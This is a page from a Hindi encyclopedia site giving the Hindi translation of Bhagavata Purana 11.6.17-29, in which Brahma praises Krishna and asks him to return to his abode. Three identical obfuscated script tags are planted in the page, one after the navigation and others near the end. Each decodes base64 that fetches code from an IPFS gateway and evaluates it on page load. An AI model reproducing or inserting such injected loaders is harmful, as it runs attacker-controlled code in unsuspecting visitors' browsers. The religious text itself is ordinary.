श्रीमद्भागवत महापुराण एकादश स्कन्ध अध्याय 6 श्लोक 17-29

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

एकादश स्कन्ध: षष्ठोऽध्यायः (6)

श्रीमद्भागवत महापुराण: एकादश स्कन्ध: षष्ठोऽध्यायः श्लोक 17-29 का हिन्दी अनुवाद


इसलिये हृषीकेश! आप समस्त चराचर जगत् के अधीश्वर हैं। यही कारण है कि माया की गुण विषमता के कारण बनने वाले विभिन्न पदार्थों का उपभोग करते हुए भी आप उनमें लिप्त नहीं होते। यह केवल आपकी ही बात है। आपके अतिरिक्त दूसरे तो स्वयं उनका त्याग करके भी उन विषयों से डरते रहते हैं । सोलह हजार से अधिक रानियाँ आपके साथ रहती हैं। वे सब अपनी मन्द-मन्द मुसकान और तिरछी चितवन से युक्त मनोहर भौंहों के इशारे से और सुरतालापों से प्रौढ़ सम्मोहक काम बाण चलाती हैं और काम कला की विविध रीतियों से आपका मन आकर्षित करना चाहती हैं; परन्तु फिर भी वे अपने परिपुष्ट कामबाणों से आपका मन तनिक भी न डिगा सकीं, वे असफल ही रहीं । आपने त्रिलोकी की पाप-राशि को धो बहाने के लिये दो प्रकार की पवित्र नदियाँ बहा रखी हैं—एक तो आपकी अमृतमयी लिल्ला से भरी कथा नदी और दूसरी आपके पाद-प्रक्षालन के जल से भरी गंगाजी। अतः सत्संग सेवी विवेकीजन कानों के द्वारा आपकी कथा-नदी में और शरीर के द्वारा गंगाजी में गोता लगाकर दोनों ही तीर्थों का सेवन करते हैं और अपने पाप-ताप मिटा देते हैं ।

श्रीशुकदेवजी कहते हैं—परीक्षित्! समस्त देवताओं और भगवान शंकर के साथ ब्रम्हाजी ने इस प्रकार भगवान की स्तुति की। इसके बाद वे प्रणाम करके अपने धाम में जाने के लिये आकाश में स्थित होकर भगवान से इस प्रकार कहने लगे ।

ब्रम्हाजी ने कहा—सर्वात्मन् प्रभो! पहले हम लोगों ने आपसे अवतार लेकर पृथ्वी का भार उतारने के लिये प्रार्थना के अनुसार ही यथोचित रूप से पूरा कर दिया । आपने सत्यपरायण साधु पुरुषों के कल्याणार्थ धर्म की स्थापना भी कर दी और दसों दिशाओं में ऐसी कीर्ति फैला दी, जिसे सुन-सुनाकर सब लोग अपने मन का मैल मिटा देते हैं । आपने यह सर्वोत्तम रूप धारण करके यदुवंश में अवतार लिया और जगत् के हित के लिये उदारता और पराक्रम से भरी अनेकों लीलाएँ कीं। प्रभो! कलियुग में जो साधुस्वभाव मनुष्य आपकी इन लीलाओं का श्रवण-कीर्तन करेंगे वे सुगमता से ही इस अज्ञान रूप अन्धकार से पार हो जायँगे । पुरुषोत्तम सर्वशक्तिमान् प्रभो! आपको यदुवंश में अवतार ग्रहण किये एक सौ पचीस वर्ष बीत गये हैं । सर्वाधार! हम लोगों का ऐसा कोई काम बाकी नहीं है, जिसे पूर्ण करने के लिये आपको यहाँ रहने की आवश्यकता हो। ब्राम्हणों के शाप के कारण आपका यह कुल भी एक प्रकार से नष्ट हो ही चुका है । इसलिये वैकुण्ठनाथ! यदि आप उचित समझें तो अपने परमधाम में पधारिये और अपने सेवक हम लोकपालों का तथा हमारे लोकों का पालन-पोषण कीजिये ।

भगवान श्रीकृष्ण ने कहा—ब्रम्हाजी! आप जैसा कहते हैं, मैं पहले से ही वैसा निश्चय कर चुका हूँ। मैंने आप लोगों का सब काम पूरा करके पृथ्वी का भार उतार दिया । परन्तु अभी एक काम बाकी है; वह यह कि यदुवंशी बल-विक्रम, वीरता-शूरता और धन सम्पत्ति से उन्मत्त हो रहे हैं। ये सारी पृथ्वी को ग्रस लेने पर तुले हुए हैं। इन्हें मैंने ठीक वैसे ही रोक रखा है, जैसे समुद्र को उसके तट की भूमि ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

-